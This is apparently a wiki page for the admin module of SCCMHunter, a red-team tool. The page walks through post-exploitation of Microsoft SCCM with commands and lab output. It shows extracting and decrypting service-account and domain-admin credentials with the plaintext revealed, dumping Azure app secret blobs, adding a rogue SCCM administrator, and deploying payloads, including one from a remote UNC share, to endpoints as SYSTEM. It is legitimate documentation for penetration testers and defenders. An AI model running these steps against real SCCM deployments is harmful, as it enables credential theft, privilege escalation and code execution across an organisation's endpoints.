Repository navigation
admin
unsigned_sh0rt edited this page Mar 11, 2026
·
16 revisions
The admin module provides simulated command and control command line access to the SMS Provider's AdminService API.
- Any (SMS Admins local group)
└─# python3 sccmhunter.py admin -u administrator -p P@ssw0rd -ip 10.10.100.9 -h
Usage: sccmhunter admin [OPTIONS] COMMAND [ARGS]...
Run administrative commands through the AdminService API.
╭─ Options ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ -u TEXT Username │
│ -p TEXT Password or NTLM hash. (LM:NT) │
│ * -ip TEXT IP address or hostname of site server [required] │
│ -k Use kerberos authentication │
│ -d TEXT Target domain name │
│ -dc TEXT Target domain controller for Kerberos auth │
│ -debug Enable Verbose Logging │
│ -au TEXT Optional script approval username │
│ -ap TEXT Optional script approval password │
│ --help -h Show this message and exit. │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
Kerberos will work with a TGT or with a TGS (preferred). Use a tool like getST.py or similar to recover a .ccache for your SCCM admin account. The ST should be requested for the HTTP SPN of the primary site server.
➜ sccmhunter git:(main) ✗ export KRB5CCNAME=domainuser@http_sccm-sitesrv.unsigned-sh0rt.net@UNSIGNED-SH0RT.NET.ccache
➜ sccmhunter git:(main) ✗ uv run sccmhunter.py admin -k -u domainuser -d unsigned-sh0rt.net -dc dc01.unsigned-sh0rt.net -ip sccm-sitesrv.unsigned-sh0rt.net
SCCMHunter v2.0.0 by @unsigned_sh0rt
[15:58:11] INFO [!] Enter help for extra shell commands
() C:\ >>
Documented commands (use 'help -v' for verbose/'help <topic>' for details):
Credential Extraction Commands
======================================================================================================
decrypt Decrypt provided encrypted blob decrypt [blob]
decryptEx Decrypt provided blob with session key decryptEx [session key] [blob]
get_azurecreds Extract Azure application cred blobs get_azurecreds
get_azuretenant Get Azure Tenant Info get_azuretenant
get_creds Extract encrypted cred blobs get_creds
get_forestkey Extract forest discovery session key blobs get_forestkey
get_pxepassword Extract pxeboot encrypted cred blobs get_pxepassword
speak_to_the_manager Dump policy credentials speak_to_the_manager
Database Commands
=======================================================================================================
get_collection Query for all (*) or single (id) collection(s)
get_collectionmembers Query for all members of a colection.
get_device Query specific device information
get_lastlogon Query for devices the target recently signed in
get_puser Query for devices the target is a primary user
get_user Query specific user information
Interface Commands
======================================================================================================
exit Exit the console.
interact Target Device/Collection to Query interact (device code)
PostEx Commands
=========================================================================================================
add_admin Add SCCM Admin add_admin (user) (sid)
application Run application on target
delete_admin Remove SCCM Admin delete_admin (user)
delete_script Delete a script from the SCCM server. delete_script (GUID)
get_consoleinstaller Show current version of SCCM get_consoleinstaller
get_sccmversion Show current version of SCCM get_sccmversion
get_script Get a script from the SCCM server. get_script (GUID)
list_scripts List scripts.
script Run script on target script (/path/to/script)
show_admins List admin users show_admins
show_consoleconnections List console sessions and source show_consoleconnections
show_rbac List users and their roles show_rbac
Situational Awareness Commands
======================================================================================================
administrators Query local administrators on target
cat Read file contents. cat (filename)
cd Change current working directory.
console_users Show total time any users has logged on to the target.
disk Show disk information on the target.
environment Show configured environment variables on target.
ipconfig Run ipconfig on target
list_disk Show drives mounted to the target system.
ls List files in current working directory.
osinfo Show OS info of target system.
ps List running processes on target.
services List running services on target.
sessionhunter
sessions Show users with an active session on the target system.
shares List file shares hosted on target.
software Show installed software on the target system.
Attempts to decrypt a target blob recovered from the get_creds command. This command must be run while interacting with the primary site server. If the primary site server is not an active client and you are not interacting with it when it's run, this will fail.
decrypt 0C0100000B0000000....
- Recover the ResourceID for the primary site server. The values for
ActiveandClientmust be1to show it's an active client.
(SMS00001) (C:\) >> get_device sccm-sitesrv
[15:24:51] INFO ------------------------------------------
Active: 1
Client: 1
DistinguishedName: CN=SCCM-SITESRV,OU=Servers,DC=unsigned-sh0rt,DC...
FullDomainName: UNSIGNED-SH0RT.NET
IPAddresses: 10.4.10.15
LastLogonUserDomain: unsigned-sh0rt
LastLogonUserName: domainuser
Name: SCCM-SITESRV
OperatingSystemNameandVersion: Microsoft Windows NT Server 10.0
PrimaryGroupID: 515
ResourceId: 16777223
ResourceNames: sccm-sitesrv.unsigned-sh0rt.net
SID: S-1-5-21-531490360-1700932310-1713712432-1110
SMSInstalledSites: 123
SMSUniqueIdentifier: GUID:3B2F4620-9582-47F5-9065-12FD437131A1
------------------------------------------
(SMS00001) (C:\) >>
- Interact with the site server's
ResourceId
(SMS00001) (C:\) >> interact 16777223
(16777223) (C:\) >>
- Pull a blob from the
get_credscommand. If the first few bytes of the blob start with something other than "0C01000..." this will not work as they're using a different encryption path.
(16777223) (C:\) >> get_creds
[15:27:05] INFO Tasked SCCM to extract all encrypted credential blobs
{
"@odata.context": "https://sccm-sitesrv.unsigned-sh0rt.net/AdminService/wmi/$metadata#SMS_SCI_Reserved",
"value": [
{
"AccountUsage": [
"Software Distribution"
],
"Reserved2": "0C0100000B000000010200000366000000A400002680D34AB4110FEC21BB9219BAED8D1F4CFF13B6C2A0EDCAF6A6E0B5B3C0FEE3C82DE7E1C96BE7F7AC12CC68E2A617E7B445A8D76311CB35E430C3C281CAA927C9D24F299446167B6115939CB7CC0503953E992BFF608D57E04C5D614093E52D6A247BDC64591254F98447B5A7FE225DC8E00CBABA949E476254CB652E4B56DB3D9CC8BA5D069A1FD256227B7FFA883EC750D2A384FCAD779C7CC88EB329A02ACBD08E4641CC06B950136250C946DC3711806BA733C35AF02861E8605F9E88FA8C42E1FC7BCA7649A5CA766EC8F05D2E910A2D7922FFF784A220AD86959291EA2E0D9DAD1240B69FCFE82C094E9A832211743FA21A6FCA96510BA7618C846EC46A9F6165360A46CF5635BD74828AA30C",
"UserName": "unsigned-sh0rt\\sccm_naa"
},
{
"AccountUsage": [
"SMS_CLIENT_CONFIG_MANAGER"
],
"Reserved2": "0C0100000B000000010200000366000000A400003AD9990FF3530AF893D4BD47D55C438554901D1480968D065BF2E3A41417F9740417B2D9D481E09259899FF766FD81882D431E154C083BE55DDDDB14033D7CB971AE801AF21B7D31134E9A698AEEA0E4275E0E32A6D879E28652973EC58DD745CA462C3BE0EA541680EA8244981FB0A69C60D5E5536FB797101E0DA3D258C37ADCC1B60D94266289B24758DAC81BA00D92135F45B46CAAAD2BB7077D01CA7FFC673F5F1CC640EDD21BF8A2317640E0BAF746D229177185B40DBEAD63BFD6B9D520ED12BC67A1DC82646A002ADAA9D43FB30A1969D583FFC32E7AFE10E62BCFD4FBC0D68600E33A18D222DBEB6B309CA258ED1D3EA6931FABC819E3390257B44D7E009865BAF6F19DE4D5B232D47F13EF",
"UserName": "unsigned-sh0rt\\sccm_push"
}
]
}
- Decrypt the blob
(16777223) (C:\) >> decrypt 0C0100000B000000010200000366000000A400002680D34AB4110FEC21BB9219BAED8D1F4CFF13B6C2A0EDCAF6A6E0B5B3C0FEE3C82DE7E1C96BE7F7AC12CC68E2A617E7B445A8D76311CB35E430C3C281CAA927C9D24F299446167B6115939CB7CC0503953E992BFF608D57E04C5D614093E52D6A247BDC64591254F98447B5A7FE225DC8E00CBABA949E476254CB652E4B56DB3D9CC8BA5D069A1FD256227B7FFA883EC750D2A384FCAD779C7CC88EB329A02ACBD08E4641CC06B950136250C946DC3711806BA733C35AF02861E8605F9E88FA8C42E1FC7BCA7649A5CA766EC8F05D2E910A2D7922FFF784A220AD86959291EA2E0D9DAD1240B69FCFE82C094E9A832211743FA21A6FCA96510BA7618C846EC46A9F6165360A46CF5635BD74828AA30C
[15:45:43] INFO Tasked SCCM to decrypt credential blob
[15:45:43] INFO [+] Updates script created successfully with GUID c4a28ee9-947b-4495-8c9d-4b1c71908062.
[15:45:44] INFO [+] Script with guid c4a28ee9-947b-4495-8c9d-4b1c71908062 approved.
[15:45:44] INFO [+] Script with guid c4a28ee9-947b-4495-8c9d-4b1c71908062 executed.
[15:46:15] INFO [+] Got result:
[15:46:15] INFO Password123
[15:46:16] INFO [+] Script with GUID c4a28ee9-947b-4495-8c9d-4b1c71908062 deleted.
(16777223) (C:\) >>
Decrypts a forest discovery account using a decrypted session key recovered by the decrypt command.
decryptEx sessionkey blob
- Recover a forest discovery account's encrypted sessionkey blob with
get_forestkey.
[15:48:21] INFO Tasked SCCM to extract forest session key blobs
{
"@odata.context": "https://sccm-sitesrv.unsigned-sh0rt.net/AdminService/wmi/$metadata#SMS_SCI_SCProperty",
"value": [
{
"Value1": "LUDUS\\DOMAINADMIN",
"Value2": "0C01000040000000010200001066000000A40000B8B6F7804EC94CF47283D8715CEBC4F077329F87DB85474E08ACA5D6E32C66604A5C278A274A59A33B54F00627F324B7B2B44C883A41ADFE25067D89D493CB540BA069AEBC8DE29B49783D1AE7739006BC67AE51F1BD9EFCE0875F82143EE4F6509309636D0663459ABF35D05763F59A10E4002073648933F34120FA0DB78A60B2D0402C1038BB7DB81A51F14AAEA7776D80DF5DA82436CD382876A14A4DB2FF2AE58EF9E6B1B268A09C083ED1E35235B8EB5D461C295B14AC159527CDA5A4F1836E0F3147E65F14C2917E6318A9F9DB6D7CB491335370B6EC88AB8DCE9E05A1B599C382D46BD2BA93C6DD1D9E6F4417C23A7D60DD5FABA773F15A2825CEA9A49ED911C046207B7E362D4D8B2430E267BC4985EF209A13BE303BBA52399E8F14E20202494FC936C297E5348583B1AF847E63B385956AC942CC3DA0DF98F12B5EAA5296D8615019570F098389B455BADD"
}
]
}
- After ensuring you're interacting with the site server, decrypt the previously recovered blob to recover the session key.
(16777223) (C:\) >> decrypt 0C01000040000000010200001066000000A40000B8B6F7804EC94CF47283D8715CEBC4F077329F87DB85474E08ACA5D6E32C66604A5C278A274A59A33B54F00627F324B7B2B44C883A41ADFE25067D89D493CB540BA069AEBC8DE29B49783D1AE7739006BC67AE51F1BD9EFCE0875F82143EE4F6509309636D0663459ABF35D05763F59A10E4002073648933F34120FA0DB78A60B2D0402C1038BB7DB81A51F14AAEA7776D80DF5DA82436CD382876A14A4DB2FF2AE58EF9E6B1B268A09C083ED1E35235B8EB5D461C295B14AC159527CDA5A4F1836E0F3147E65F14C2917E6318A9F9DB6D7CB491335370B6EC88AB8DCE9E05A1B599C382D46BD2BA93C6DD1D9E6F4417C23A7D60DD5FABA773F15A2825CEA9A49ED911C046207B7E362D4D8B2430E267BC4985EF209A13BE303BBA52399E8F14E20202494FC936C297E5348583B1AF847E63B385956AC942CC3DA0DF98F12B5EAA5296D8615019570F098389B455BADD
[15:49:04] INFO Tasked SCCM to decrypt credential blob
[15:49:04] INFO [+] Updates script created successfully with GUID 9a75f61f-ce4f-41d3-ab89-58876168230b.
[15:49:05] INFO [+] Script with guid 9a75f61f-ce4f-41d3-ab89-58876168230b approved.
[15:49:05] INFO [+] Script with guid 9a75f61f-ce4f-41d3-ab89-58876168230b executed.
[15:49:21] INFO [+] Got result:
[15:49:21] INFO 814729C17412CF23B5A3C76B47502DAF652C38769489920E6AEDFD744FC56BE5
[15:49:22] INFO [+] Script with GUID 9a75f61f-ce4f-41d3-ab89-58876168230b deleted.
(16777223) (C:\) >>
- Pull the forest discovery account's encrypted password with
get_creds
<snipped>
},
{
"AccountUsage": [
"SMS_AD_FOREST_DISCOVERY_MANAGER"
],
"Reserved2": "B6B2B5427A007FC2F6C69889601CA1DE",
"UserName": "LUDUS\\DOMAINADMIN"
}
]
}
<snipped>
- Use decryptEx to recover the plaintext password
(16777223) (C:\) >> decryptEx 814729C17412CF23B5A3C76B47502DAF652C38769489920E6AEDFD744FC56BE5 B6B2B5427A007FC2F6C69889601CA1DE
[15:51:43] INFO Tasked SCCM to decrypt credential with session key blob
[15:51:44] INFO [+] Updates script created successfully with GUID a2479b29-99c5-433c-9ff7-b0f8e456f1ec.
[15:51:44] INFO [+] Script with guid a2479b29-99c5-433c-9ff7-b0f8e456f1ec approved.
[15:51:45] INFO [+] Script with guid a2479b29-99c5-433c-9ff7-b0f8e456f1ec executed.
[15:52:16] INFO [+] Got result:
[15:52:16] INFO password
[15:52:16] INFO [+] Script with GUID a2479b29-99c5-433c-9ff7-b0f8e456f1ec deleted.
(16777223) (C:\) >>
Recovers encrypted credentials for the cloud princiapls created to enable cloud synchronization with Entra/Intune.
get_azurecreds
() C:\ >> get_azurecreds
[16:00:16] INFO Tasked SCCM to extract Azure app credential blobs
{
"@odata.context": "https://sccm-sitesrv.unsigned-sh0rt.net/AdminService/wmi/$metadata#SMS_AAD_Application_Ex",
"value": [
{
"ClientID": "2324----REDACTED---c8ad",
"SecretKey": "0C01000028000000010200001066000000A40000E7384CBE3CEE5F169AFCEA26C9481556DED724D5FC0D76679A2B94D4CC6D3766ABD2222B8876B817933EEEA6F0E66F2F0FF98AA968D1278EBD1CD057213F4433C283454390852314AF61ADBCDD1877F59E64CB8B10B4C828574B6AA079D311C9A5DA89DCB10475C18CF032E498EDA409ADFCDFAA9D916C5EE9B09DB3007E7B673DE26F1D5631A521066D496F3ED831A6E746930D86F8A50FEDCF764416C49DEF8C19FBC1B1A6344D0A76941BA9404AC29CBCCA30B66B43B6CD3518B20BEF23C3ADDC4E2C9F0C52806539B0A31B9EF8D603A74BB32BBBC27166FAC6D1A2A2DA8F1C00F841D5235046D50106DC05A8056AF734F78790D09733411ACBF22515BE27115ED10C1BFACFA70201C1CDACEEE06087C595B98BFAB19CB51FAAABBB944C8B8E399A75461D45FC29D3B654490227DF"
},
{
"ClientID": "5211e99----REDACTED----f236bfcf0",
"SecretKey": "0C01000028000000010200001066000000A40000470FAF67416759BF08388E3430C6F33AA3059C27C3616D015F74DF31218C13B09B5A91BF385C4FC3901A658DCB2BDB2E19B6A873FCFB8BE9044E9455C2382717580DDD203A0F604AE535EAAA278E835657A69E39096FAC8F1DAE90D60B71F90F33E3852F1929402A74742CA97417ABC0BB7FC029C3E5B2BB41F2D081508E8EB9DEAD76746EC323A135E2987E0F72C3CDF02152E4B0D0BD7E588DD69D1D3015BBFE80A796B5DBD65223E88D5844EE33860D7A99EA310E37AF9E582406F1157F33E9D8C5A94E318542AD0438CFC843AAF786968881A0440F6EA793EFC37C3D90F013575C29098488662F0D0061C6E9E2D9E0434AAF18A502C5F8F502665C3A45BF028E0B9CA8EE7175FDBEA2D8175FBE50426E2451976C65474470117E5E82ECE996D7E09A5B8559F810D4DC7F9334DD3B"
},
{
"ClientID": "85d3c5----REDACTED----b2fc8e78f24",
"SecretKey": ""
}
]
}
Recovers any Azure TenantIDs associated with the SCCM deployment
get_azuretenant
{
"@odata.context": "https://sccm-sitesrv.unsigned-sh0rt.net/AdminService/wmi/$metadata#SMS_AAD_Tenant_Ex",
"value": [
{
"Name": "garrett-foster",
"TenantID": "5322AD----REDACTED----1C"
}
]
}
()
Recovers the encrypted blobs for the various service accounts in use by SCCM. The blobs may be decrypted using the decrypt or decryptEx command depending on the credential type.
get_creds
() (C:\) >> get_creds
[16:03:10] INFO Tasked SCCM to extract all encrypted credential blobs
{
"@odata.context": "https://sccm-sitesrv.unsigned-sh0rt.net/AdminService/wmi/$metadata#SMS_SCI_Reserved",
"value": [
{
"AccountUsage": [
"Software Distribution"
],
"Reserved2": "0C0100000B000000010200000366000000A400002680D34AB4110FEC21BB9219BAED8D1F4CFF13B6C2A0EDCAF6A6E0B5B3C0FEE3C82DE7E1C96BE7F7AC12CC68E2A617E7B445A8D76311CB35E430C3C281CAA927C9D24F299446167B6115939CB7CC0503953E992BFF608D57E04C5D614093E52D6A247BDC64591254F98447B5A7FE225DC8E00CBABA949E476254CB652E4B56DB3D9CC8BA5D069A1FD256227B7FFA883EC750D2A384FCAD779C7CC88EB329A02ACBD08E4641CC06B950136250C946DC3711806BA733C35AF02861E8605F9E88FA8C42E1FC7BCA7649A5CA766EC8F05D2E910A2D7922FFF784A220AD86959291EA2E0D9DAD1240B69FCFE82C094E9A832211743FA21A6FCA96510BA7618C846EC46A9F6165360A46CF5635BD74828AA30C",
"UserName": "unsigned-sh0rt\\sccm_naa"
},
{
"AccountUsage": [
"SMS_CLIENT_CONFIG_MANAGER"
],
"Reserved2": "0C0100000B000000010200000366000000A400003AD9990FF3530AF893D4BD47D55C438554901D1480968D065BF2E3A41417F9740417B2D9D481E09259899FF766FD81882D431E154C083BE55DDDDB14033D7CB971AE801AF21B7D31134E9A698AEEA0E4275E0E32A6D879E28652973EC58DD745CA462C3BE0EA541680EA8244981FB0A69C60D5E5536FB797101E0DA3D258C37ADCC1B60D94266289B24758DAC81BA00D92135F45B46CAAAD2BB7077D01CA7FFC673F5F1CC640EDD21BF8A2317640E0BAF746D229177185B40DBEAD63BFD6B9D520ED12BC67A1DC82646A002ADAA9D43FB30A1969D583FFC32E7AFE10E62BCFD4FBC0D68600E33A18D222DBEB6B309CA258ED1D3EA6931FABC819E3390257B44D7E009865BAF6F19DE4D5B232D47F13EF",
"UserName": "unsigned-sh0rt\\sccm_push"
},
{
"AccountUsage": [
"SMS_AD_FOREST_DISCOVERY_MANAGER"
],
"Reserved2": "B6B2B5427A007FC2F6C69889601CA1DE",
"UserName": "LUDUS\\DOMAINADMIN"
}
]
}
Recovers the encrypted sessionkey used to decrypt the forest discovery account. This key can be decrypted using the decrypt command. To decrypt the forest discovery account's credential see the decryptEx command.
get_forestkey
{
"@odata.context": "https://sccm-sitesrv.unsigned-sh0rt.net/AdminService/wmi/$metadata#SMS_SCI_SCProperty",
"value": [
{
"Value1": "LUDUS\\DOMAINADMIN",
"Value2": "0C01000040000000010200001066000000A40000B8B6F7804EC94CF47283D8715CEBC4F077329F87DB85474E08ACA5D6E32C66604A5C278A274A59A33B54F00627F324B7B2B44C883A41ADFE25067D89D493CB540BA069AEBC8DE29B49783D1AE7739006BC67AE51F1BD9EFCE0875F82143EE4F6509309636D0663459ABF35D05763F59A10E4002073648933F34120FA0DB78A60B2D0402C1038BB7DB81A51F14AAEA7776D80DF5DA82436CD382876A14A4DB2FF2AE58EF9E6B1B268A09C083ED1E35235B8EB5D461C295B14AC159527CDA5A4F1836E0F3147E65F14C2917E6318A9F9DB6D7CB491335370B6EC88AB8DCE9E05A1B599C382D46BD2BA93C6DD1D9E6F4417C23A7D60DD5FABA773F15A2825CEA9A49ED911C046207B7E362D4D8B2430E267BC4985EF209A13BE303BBA52399E8F14E20202494FC936C297E5348583B1AF847E63B385956AC942CC3DA0DF98F12B5EAA5296D8615019570F098389B455BADD"
}
]
}
Recovers the encrypted blob of the configured PXE boot password if it's in use. This blob can be decrypted using the decrypt command.
get_pxepassword
() (C:\) >> get_pxepassword
[16:06:44] INFO Tasked SCCM to extract PXE boot password credential blobs
{
"@odata.context": "https://sccm-sitesrv.unsigned-sh0rt.net/AdminService/wmi/$metadata#SMS_SCI_SCProperty",
"value": [
{
"PropertyName": "PXEPassword",
"Value1": "0C0100000B000000010200001066000000A40000403F0EFFE0A90C06B56B8EE9346547241CC71E769BD625508A872FF63CF755F3BBB235987AFDB764E88DF0BEEDB8BA365AD79062346881612A16138DFACE4AAD29ED9DD931D9B1BD4AA00CE42023A6377FF0E2322EDD7AA4CB569F1375EB5D64193A0C87878B67FCD0BC64E5D3F1308007A75CF8261471969BF85E04B26BEE33F2A3BA1B8FEE78640D4A1B5A449AC2D189EF07FA9E7B47643D4BDAD1BE36A3AF631B49DF26E8E37A2637FF11BE1D49ED9AAEAD6C803C6046907289D91060DB334293D9CD4C88579845AA713A96512576845FACA0202256BEE4F99DAE13D74E58F7EBE67D38A2715F0C4AE7891270601AB60960C994CF5D689CABBC3F6E8CCAC7D6575A22AF2C56B0868650C5A2C88BC8"
}
]
}
Extracts and decrypt Network Access Account (NAA) and Task Sequence policies. If a NAA policy is discovered, the credenials will be visibile in stdout. Task sequences are saved locally for triage.
speak_to_the_manager
() (C:\) >> speak_to_the_manager
[16:08:26] INFO Tasked SCCM to find a manager.
[16:08:26] INFO [*] Checking for NAA policies...
[16:08:27] INFO [+] Found NAA Policy
[16:08:27] INFO [!] Network Access Account Username: unsigned-sh0rt\sccm_naa
[16:08:27] INFO [!] Network Access Account Password: Password123
[16:08:27] INFO [*] Checking for Task Sequence policies...
[16:08:28] INFO [+] Found Task Sequence policy
[16:08:28] INFO [+] task sequence policy saved to ts_sequence_bb2800d9995e4abd8851e31b22092794.xml
[16:08:28] INFO [+] Found Task Sequence policy
[16:08:28] INFO [-] Could not format XML body. Policy body may be corrupted.
[16:08:28] INFO [+] task sequence policy saved to ts_sequence_fe83f0829017d8c5611a19ec150e867e.xml
() (C:\) >>
The get_collection module can pull data regarding a single collection or recover all configured collections from the site server. Each query is demonstrated in the example below.
get_collection Query for all (*) or single (id) collection(s)
() (C:\) >> get_collection *
[19:56:18] INFO [-] * collection(s) not found. Pulling collections from the API
[19:56:18] INFO [*] Collecting collections...
[19:56:20] INFO +----------------+---------------+--------------------------------+
| CollectionID | MemberCount | Name |
+================+===============+================================+
| SMS00001 | 20 | All Systems |
+----------------+---------------+--------------------------------+
| SMS00002 | 4 | All Users |
+----------------+---------------+--------------------------------+
| SMS00003 | 0 | All User Groups |
+----------------+---------------+--------------------------------+
| SMS00004 | 4 | All Users and User Groups |
+----------------+---------------+--------------------------------+
| SMSOTHER | 0 | All Custom Resources |
+----------------+---------------+--------------------------------+
| SMS000US | 2 | All Unknown Computers |
+----------------+---------------+--------------------------------+
| SMS000PS | 1 | All Provisioning Devices |
+----------------+---------------+--------------------------------+
| SMS000KM | 0 | Co-management Eligible Devices |
+----------------+---------------+--------------------------------+
| SMSDM001 | 0 | All Mobile Devices |
+----------------+---------------+--------------------------------+
| SMSDM003 | 16 | All Desktop and Server Clients |
+----------------+---------------+--------------------------------+
() (C:\) >> get_collection SMS00001
[19:56:27] INFO --------------------------------------
CollectionID: SMS00001
CollectionType: 2
IsBuiltIn: True
LimitToCollectionName: None
MemberClassName: SMS_CM_RES_COLL_SMS00001
MemberCount: 20
Name: All Systems
------------------------------------------
() (C:\) >>
Lists the members of a given collection.
get_collectionmembers
() (C:\) >> get_collectionmembers SMS00002
[14:47:37] INFO +----------------------------------------------+
| Name |
+==============================================+
| unsigned-sh0rt\Administrator (Administrator) |
+----------------------------------------------+
| unsigned-sh0rt\domainadmin (domainadmin) |
+----------------------------------------------+
| unsigned-sh0rt\domainuser (domainuser) |
+----------------------------------------------+
| unsigned-sh0rt\localuser (localuser) |
+----------------------------------------------+
| unsigned-sh0rt\sccm_naa (sccm_naa) |
+----------------------------------------------+
| unsigned-sh0rt\sccm_push (sccm_push) |
+----------------------------------------------+
| unsigned-sh0rt\sqlsccmsvc (sqlsccmsvc) |
+----------------------------------------------+
| unsigned-sh0rt\Administrator (Administrator) |
+----------------------------------------------+
| unsigned-sh0rt\domainadmin (domainadmin) |
+----------------------------------------------+
| unsigned-sh0rt\domainuser (domainuser) |
+----------------------------------------------+
| unsigned-sh0rt\localuser (localuser) |
+----------------------------------------------+
| unsigned-sh0rt\sccm_naa (sccm_naa) |
+----------------------------------------------+
| unsigned-sh0rt\sccm_push (sccm_push) |
+----------------------------------------------+
| unsigned-sh0rt\sqlsccmsvc (sqlsccmsvc) |
+----------------------------------------------+
() (C:\) >>
The get_device command will query the site server for a provided hostname. If the request is the first time the host has been queried, the data is pulled from the API. Otherwise, the results are stored in a local database to avoid unnecessary queries.
get_device [hostname]
() (C:\) >> get_device mp
[19:55:52] INFO [*] Collecting device...
[19:55:53] INFO [+] Device found.
[19:55:53] INFO ------------------------------------------
Active: 1
Client: 1
DistinguishedName: CN=MP,OU=SCCM_SiteSystems,DC=internal,DC=lab
FullDomainName: INTERNAL.LAB
IPAddresses: 10.10.100.13
LastLogonUserDomain: None
LastLogonUserName: None
Name: MP
OperatingSystemNameandVersion: Microsoft Windows NT Server 10.0
PrimaryGroupID: 515
ResourceId: 16777219
ResourceNames: mp.internal.lab
SID: S-1-5-21-4004054868-2969153893-1580793631-1106
SMSInstalledSites: LAB
SMSUniqueIdentifier: GUID:D78C19DA-D4ED-474F-88D4-1566B96F2732
------------------------------------------
() (C:\) >>
The get_lastlogon command will query the site for every client the provided user account was the last logged on user.
get_lastlogon [name]
() (C:\) >> get_lastlogon administrator
[19:57:23] INFO [*] Collecting devices...
[19:57:25] INFO +------------------+-----------------------+---------------------+----------+--------------+-----------------------+
| FullDomainName | LastLogonUserDomain | LastLogonUserName | Name | ResourceId | ResourceNames |
+==================+=======================+=====================+==========+==============+=======================+
| INTERNAL.LAB | LAB | administrator | DP | 16777221 | dp.internal.lab |
+------------------+-----------------------+---------------------+----------+--------------+-----------------------+
| INTERNAL.LAB | LAB | administrator | PC01 | 16777222 | pc01.internal.lab |
+------------------+-----------------------+---------------------+----------+--------------+-----------------------+
| INTERNAL.LAB | LAB | administrator | CA | 16777223 | ca.internal.lab |
+------------------+-----------------------+---------------------+----------+--------------+-----------------------+
| INTERNAL.LAB | LAB | administrator | PROVIDER | 16777224 | provider.internal.lab |
+------------------+-----------------------+---------------------+----------+--------------+-----------------------+
| INTERNAL.LAB | LAB | administrator | WSUS | 16777226 | wsus.internal.lab |
+------------------+-----------------------+---------------------+----------+--------------+-----------------------+
() (C:\) >>
Query SCCM for any enrolled client where the supplied user account is configured as the primary user.
get_puser [username]
() (C:\) >> get_puser lowpriv
[19:58:20] INFO [-] Primary user data for lowpriv not found. Pulling from the API.
[19:58:20] INFO [*] Collecting primary users...
[19:58:21] INFO +------------+--------------------------+--------------+----------------+------------------+
| IsActive | RelationshipResourceID | ResourceID | ResourceName | UniqueUserName |
+============+==========================+==============+================+==================+
| True | 25165830 | 16777250 | DEV | lab\lowpriv |
+------------+--------------------------+--------------+----------------+------------------+
() (C:\) >>
Query SCCM for details for a provided username. If the request is the first time the user has been queried, the data is pulled from the API. Otherwise, the results are stored in a local database to avoid unnecessary queries.
get_user [username]
() (C:\) >> get_user lowpriv
[19:59:01] INFO [*] Collecting users...
[19:59:02] INFO [+] User found.
[19:59:02] INFO ------------------------------------------
DistinguishedName: CN=lowpriv,CN=Users,DC=internal,DC=lab
FullDomainName: INTERNAL.LAB
FullUserName: lowpriv
Mail:
NetworkOperatingSystem: Windows NT
ResourceId: 2063597570
sid: S-1-5-21-4004054868-2969153893-1580793631-1113
UniqueUserName: LAB\lowpriv
UserAccountControl: 512
UserName: lowpriv
UserPrincipalName: None
------------------------------------------
() (C:\) >>
Add a provied account as a site server admin. This is useful for the scripts module where SCCM is configured to require a secondary account for script approval (default setting). The account type is not limited to a traditional user account and can be a machine.
add_admin [username] [sid]
() (C:\) >> show_admins
[22:47:42] INFO Tasked SCCM to list current SMS Admins.
[22:47:43] INFO Current Full Admin Users:
[22:47:43] INFO LAB\Administrator
() (C:\) >> add_admin lowpriv S-1-5-21-4004054868-2969153893-1580793631-1113
[22:47:47] INFO Tasked SCCM to add lowpriv as an administrative user.
[22:47:49] INFO [+] Successfully added lowpriv as an admin.
() (C:\) >> show_admins
[22:47:51] INFO Tasked SCCM to list current SMS Admins.
[22:47:52] INFO Current Full Admin Users:
[22:47:52] INFO LAB\Administrator
[22:47:52] INFO lowpriv
() (C:\) >>
Installs an application on a target host. By default, execution context is the logged on user(s). You can adjust this to run as NT AUTHORITY\SYSTEM if you prefer. You may also specifiy an existing collection to run this against. WARNING: If that collection has 1,000 members your payload will be executed on 1,000 endpoints (if you do this tell me about it). If your target resourceID is a user account your collection type must be user and vice versa.
() (C:\) >> help application
usage: application [-h] [-t TARGET] [-c {user,device}] [-p PATH] [-s] [-n NAME] [--collection-id COLLECTION_ID]
Run application on target
options:
-h, --help show this help message and exit
-t, --target TARGET ResourceID to target for application deployment
-c, --collection-type {user,device}
Collection type to create for application deployment
-p, --path PATH Command or UNC path of the binary/script to execute. Ex: \\10.10.10.10\payload.exe
-s, --system Run the application as NT AUTHORITY\SYSTEM
-n, --name NAME Name of the application
--collection-id COLLECTION_ID
Id of existing collection to target
() (C:\) >> application -t 16777223 -c device -p whoami.exe -n wiki_example
[14:56:25] INFO [*] Creating new device collection: device_9ca2ec90-a5ce-4c62-a1f8-6a714bff79a1
[14:56:26] INFO [+] Successfully created collection
[14:56:27] INFO [+] Added 16777223 to device_9ca2ec90-a5ce-4c62-a1f8-6a714bff79a1
[14:56:27] INFO [*] Waiting for new collection member to become available
[14:56:32] INFO [*] New collection member is not available yet... trying again in 5 seconds
[14:56:38] INFO [+] Successfully added 16777223 to device_9ca2ec90-a5ce-4c62-a1f8-6a714bff79a1
[14:56:38] INFO [*] Checking if application already exists
[14:56:38] INFO [*] Creating new application: Application_59d35ca8-afd5-41cc-b65b-911b861c4462
[14:56:38] INFO [*] Application path: whoami.exe
[14:56:38] INFO [*] Updated application to run in the context of User
[14:56:54] INFO [*] Successfully created application
[14:56:54] INFO [+] Creating new deployment of wiki_example to device_9ca2ec90-a5ce-4c62-a1f8-6a714bff79a1 (12300015)
[14:56:56] INFO [+] Successfully created deployment of wiki_example to device_9ca2ec90-a5ce-4c62-a1f8-6a714bff79a1 (12300015)
[14:56:56] INFO [*] New deployment name: wiki_example_12300015_Install
[14:56:56] INFO [*] Forcing all members of wiki_example_12300015_Install to retrieve machine policy and execute any new applications available
[14:56:56] INFO [*] Waiting for new deployment to become available...
[14:57:01] INFO [+] New deployment is available, waiting 30 seconds for updated policy to become available
[14:57:31] INFO [+] Waiting 1 minute for execution to complete...
[14:58:31] INFO [*] Cleaning up
[14:58:32] INFO [+] Deleted the wiki_example_12300015_Install deployment
[14:58:43] INFO [+] Deleted the wiki_example application
[14:58:48] INFO [+] Deleted the device_9ca2ec90-a5ce-4c62-a1f8-6a714bff79a1 collection
[14:58:48] INFO [+] Completed execution
Remove a target administrator account from SCCM. Note: cannot be performed against itself.
placeholder
placeholder
Deletes a target script. You'll need the script's GUID which can be pulled with list_script.
() (C:\) >> help delete_script
usage: delete_script [-h] script_guid
Delete a script from the SCCM server. delete_script (GUID)
positional arguments:
script_guid GUID of target script to delete. Use `list_scripts` to get the GUID.
